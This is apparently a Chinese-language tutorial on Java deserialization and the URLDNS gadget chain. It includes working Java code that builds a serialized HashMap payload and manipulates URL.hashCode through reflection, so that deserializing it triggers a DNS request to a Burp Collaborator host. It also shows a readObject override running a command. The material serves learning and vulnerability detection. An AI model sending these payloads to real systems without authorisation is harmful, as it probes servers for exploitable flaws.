Java反序列化--URLDNS链
目录
Java反序列化
反序列化
Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。在这个过程中,可以实现数据的持久化,或者对象的远程传输。
Java的序列化主要依靠的是ObjectOutputStream#writeObject()
方法 ,而反序列化则是依靠ObjectInputStream#readObject()
方法。例如下面这个例子:
//创建一个输出流,来获取输出数据
ObjectOutputStream oOs = new ObjectOutputStream(new FileOutputStream("out.bin"));
//将对象Obj进行序列化
oOs.writeObject(Obj);
//创建一个输入流
ObjectInputStream oIS = new ObjectInputStream(new FileInputStream("out.bin"));
//将输入流进行反序列化
Object o = oIS.readObject();
当然不是所有的类都可以反序列化, 只有实现了Serializable接口的类才可以进行序列化操作,不过这个接口是一个空接口,只是起到一个声明的作用。
如果不继承这个接口就会爆出NotSerializableException
的错误。
上面说了什么类可以进行序列化操作,下面再来说一下那些属性不能反序列化
-
类的静态属性
这个好理解,毕竟反序列化操作的是一个对象,类的静态属性更多让类更好的操作对象的
-
被
transient
关键词修饰的对象属性被transient关键词修饰后这个值在序列化的时候会被忽略(成为null)可以通过重写
writeObject
方法来重写让它被序列化
安全问题
在Java中,反序列化就意味着执行readObject方法,而反序列化对象又来自于外部相当于给攻击者执行代码的能力,这就会面临很大的安全风险,善加利用就能让风险变成漏洞。
readObject方法
首先就是关于readObject的安全问题,当我们在调用readObject的时候会进行判断用户是否在该类中 重写了readObject方法,如果是的话就会在反序列化中调用这个方法,这时候如果readObject方法中存在危险函数,就会造成隐患。
例如:
private void readObject(ObjectInputStream O) throws IOException, ClassNotFoundException {
O.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
此时如果我们反序列化这个类,就会执行危险函数。
但是这种漏洞很少出现,最多就是开发者自己测试的时候偶尔用用。
readObject包含可控参数
这部分就和PHP的反序列化很类似了,函数中进行多次套娃,一层叠一层直到到达可执行代码的位置,然后进行命令执行。
一些常见的类都会重写readObject类的,这里面就会有很多的利用,最常见的就是Map类,由于Map自己的设计也就使得它需要自己重写readObject方法,之后就可以以此为开头进行套娃直到到达命令执行点,具体过程本节不谈。
Java反射
反射是Java的一个重要组成部分,也正是反射机制,让Java从静态语言变成了“准动态语言”,同时也带来了许多的安全问题。
在下面的漏洞复现以及过程调试的时候也会大量使用反射来进行测试。
当我们包含一个类的时候,不仅仅是将这个类包含进来,而是需要进行一个类加载的过程,具体过程本节不谈。当一个类被加载后,就会存放在内存的堆中,我们可以通过这个在内存中的类对对应的对象进行操作。
下面对我们将要用到了方法进行解释
获取Class
类
在操作前需要获取到这个类,常见的有两种方法,一种是使用getClass()
方法,这种方法使用于我们有一个类的 实例的时候就可以使用,值得说明的是这个方法是来自于 Object
方法的,不存在没有的说法。例如:
Class<? extends URL> c = url.getClass();
另一种就是当我们直到类的位置的时候就可以使用forName()
方法获取并加载类,例如:
Class<?> u = Class.forName("java.net.URL");
获取/修改属性
具体思路就是在类中找到对应的属性并保存下来
获取属性有四个方法,这里介绍getDeclaredField
这个方法,这个方法可以将对象所有方法进行获取,包括私有属性;
Field UrlHashCode = u.getDeclaredField("hashCode");
赋予读取和修改私有属性的方法,如果没有这个方法,却想修改/查看属性,就会爆IllegalAccessException
的错误
u.setAccessible(true);
获取私有属性值:
u.get(obj);
//此处obj就是需要被获取的对象
u.set(obj,value);
//此处obj就是需要修改的对象,value是修改后的值
对于方法的获取同理,此处不涉及就不在解释。
Java反射链
分析
这次我们的目标是URL类,并且得到一个发送请求的漏洞,所以就直接看这个类
这个类有很多可以发起请求的方法,但是很难利用,它们的名字很难在其他地方找到一样的,所以我们直接看自带的几个基本方法,例如:equals
和hashCode
方法
对于equals方法而言:
只是两个简单的对比
再看hashCode类:
这个类是首先进行判断,如果发现不是-1就进行hashCode计算,在计算的时候会将目标URL通过getHostAddess方法找到ip地址,此处就可以用来发送DNS请求。
到此这个链子就分析完了,简单回顾一下就是创建一个URL类,然后通过Map集合触发hashCode
方法,然后获得一个DNS请求。
这个类的作用并不在于实际的危害,而在于如何用来 检验是否存在反序列化漏洞,这个漏洞不需要考虑是否jdk版本,是否有额外的扩展,实用性很高。
实践
按照之前的思路,我们只需要创建一个URL对象,然后将它以Map的形式发送过去,然后服务端那边进行反序列化操作就可以触发漏洞,在这个想法下,我们写出如下测试代码:
URLDNS.java
package org.Payload.URLDNS;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
String urlSting = "cwctj4ahpw9cmx3yk2ktkx44ovulia.burpcollaborator.net";
URL url = new URL("http://"+urlSting);
HashMap<URL,String> urlStringHashMap = new HashMap<>();
serialize(urlStringHashMap);
//serialize(new student());
}
public static void serialize(Object O) throws IOException {
//创建一个文件流
ObjectOutputStream oOs = new ObjectOutputStream(new FileOutputStream("DNSURL.bin"));
//文件流中写入对象
oOs.writeObject(O);
}
}
UnserializeURL.java
package org.Payload.URLDNS;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class UnserializeURL {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ObjectInputStream oIS = new ObjectInputStream(new FileInputStream("DNSURL.bin"));
Object o = oIS.readObject();
HashMap h = (HashMap) o;
}
}
这里使用Burp suite的Burp Collaborator client模块进行DNS检测
理想状况下序列化的时候是不会要触发这个DNS的,以免对结果进行干扰,但是要在服务端反序列化的时候触发,但是测试的时候会发现 在序列化的时候就已经触发DNS了,反倒是 反序列化的时候不触发DNS
这个问题也是很容易就发现,因为代码中存在HashMap,当我们将URL作为键的时候,是需要计算HashCode的值的,这时候就会调用URL的Hash计算,从而让HashCode不为0,也就是:
到此处就卡住了,直接返回了
针对这个问题我们进行代码调试查看:
package org.Payload.URLDNS;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//取出URL对象的HashCode属性的Field对象
Class<?> u = Class.forName("java.net.URL");
Field UrlHashCode = u.getDeclaredField("hashCode");
UrlHashCode.setAccessible(true);
String urlSting = "cwctj4ahpw9cmx3yk2ktkx44ovulia.burpcollaborator.net";
URL url = new URL("http://"+urlSting);
//查看此时hashCode
System.out.println("刚创建的URL:hash="+UrlHashCode.get(url));
HashMap<URL,String> urlStringHashMap = new HashMap<>();
urlStringHashMap.put(url,"url");
//查看此时hashCode
System.out.println("刚加入的URL:hash="+UrlHashCode.get(url));
serialize(urlStringHashMap);
//serialize(new student());
}
public static void serialize(Object O) throws IOException {
//创建一个文件流
ObjectOutputStream oOs = new ObjectOutputStream(new FileOutputStream("DNSURL.bin"));
//文件流中写入对象
oOs.writeObject(O);
}
}
/*
刚创建的URL:hash=-1
刚加入的URL:hash=914265071
*/
结果也是符合预期的
后面服务端没有触发DNS也就可以理解了,因为这时候我们所生成的 **反序列化文件中的hashCode已经存在值的,在服务端运行的时候也是已经直接判断不为-1然后返回hashCode值,同样进行代码调试:
package org.Payload.URLDNS;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class UnserializeURL {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ObjectInputStream oIS = new ObjectInputStream(new FileInputStream("DNSURL.bin"));
Object o = oIS.readObject();
HashMap h = (HashMap) o;
URL url = null;
for (Object u: h.keySet()){
url = (URL) u;
}
//测试此时的hashCode值
Class<? extends URL> c = url.getClass();
Field hashCode = c.getDeclaredField("hashCode");
//设置权限
hashCode.setAccessible(true);
System.out.println(hashCode.get(url));
}
}
/*
914265071
*/
为了更直观的感受,我们将客户端生成的序列化后的hashCode设置为666666666用来区分上面的的hashCode到底是服务端重新生成的还是继承客户端的数据,在客户端中加入:
//此处将hashcode给赋值
UrlHashCode.set(url,666666666);
//赋值后的hashCode
System.out.println("赋值后的URL:hash="+UrlHashCode.get(url));
然后重复上面的步骤
可以发现确实是继承的客户端的hashCode值,然后调用URL中的hashCode方法。
到此对于上面的问题也就有了解决方案:
- 将客户端要进行Map操作前,将hashCode改为一个不为-1的值,让客户端不进行DNS操作
- 客户端操作完Map后,再将hashCode改为-1,从而在服务端进行DNS操作
修改完的代码如下:
URLDNS.java
package org.Payload.URLDNS;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//取出URL对象的HashCode属性的Field对象
Class<?> u = Class.forName("java.net.URL");
Field UrlHashCode = u.getDeclaredField("hashCode");
UrlHashCode.setAccessible(true);
String urlSting = "064tg6ysb9otu5zsxe32pz9it9zzno.burpcollaborator.net";
URL url = new URL("http://"+urlSting);
//查看此时hashCode
System.out.println("刚创建的URL:hash="+UrlHashCode.get(url));
//此处将hashcode给赋值
UrlHashCode.set(url,666666666);
//赋值后的hashCode
System.out.println("赋值后的URL:hash="+UrlHashCode.get(url));
HashMap<URL,String> urlStringHashMap = new HashMap<>();
urlStringHashMap.put(url,"url");
//查看此时hashCode
System.out.println("刚加入的URL:hash="+UrlHashCode.get(url));
//此处将hashCode还原
UrlHashCode.set(url,-1);
//还原后的hashCode
System.out.println("还原后的URL:hash="+UrlHashCode.get(url));
serialize(urlStringHashMap);
//serialize(new student());
}
public static void serialize(Object O) throws IOException {
//创建一个文件流
ObjectOutputStream oOs = new ObjectOutputStream(new FileOutputStream("DNSURL.bin"));
//文件流中写入对象
oOs.writeObject(O);
//oOs.writeObject(new Student("1"));
}
}
/*
刚创建的URL:hash=-1
赋值后的URL:hash=666666666
刚加入的URL:hash=666666666
还原后的URL:hash=-1
*/
package org.Payload.URLDNS;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class UnserializeURL {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ObjectInputStream oIS = new ObjectInputStream(new FileInputStream("DNSURL.bin"));
Object o = oIS.readObject();
HashMap h = (HashMap) o;
URL url = null;
for (Object u: h.keySet()){
url = (URL) u;
}
//测试此时的hashCode值
Class<? extends URL> c = url.getClass();
Field hashCode = c.getDeclaredField("hashCode");
//设置权限
hashCode.setAccessible(true);
System.out.println(hashCode.get(url));
}
}
/*
914265071
*/
可以看出是顺利执行的
总结
总的来说这个链子是十分简单的,就是传入可控的url参数,然后通过map触发hashCode进而发起DNS请求,危害也较小,主要是用来检测是否存在反序列化漏洞的。
这个漏洞的难点在于payload的书写,需要在合适的位置通过反射对hashCode进行修改从而得到理想的反序列化文件,进而触发漏洞。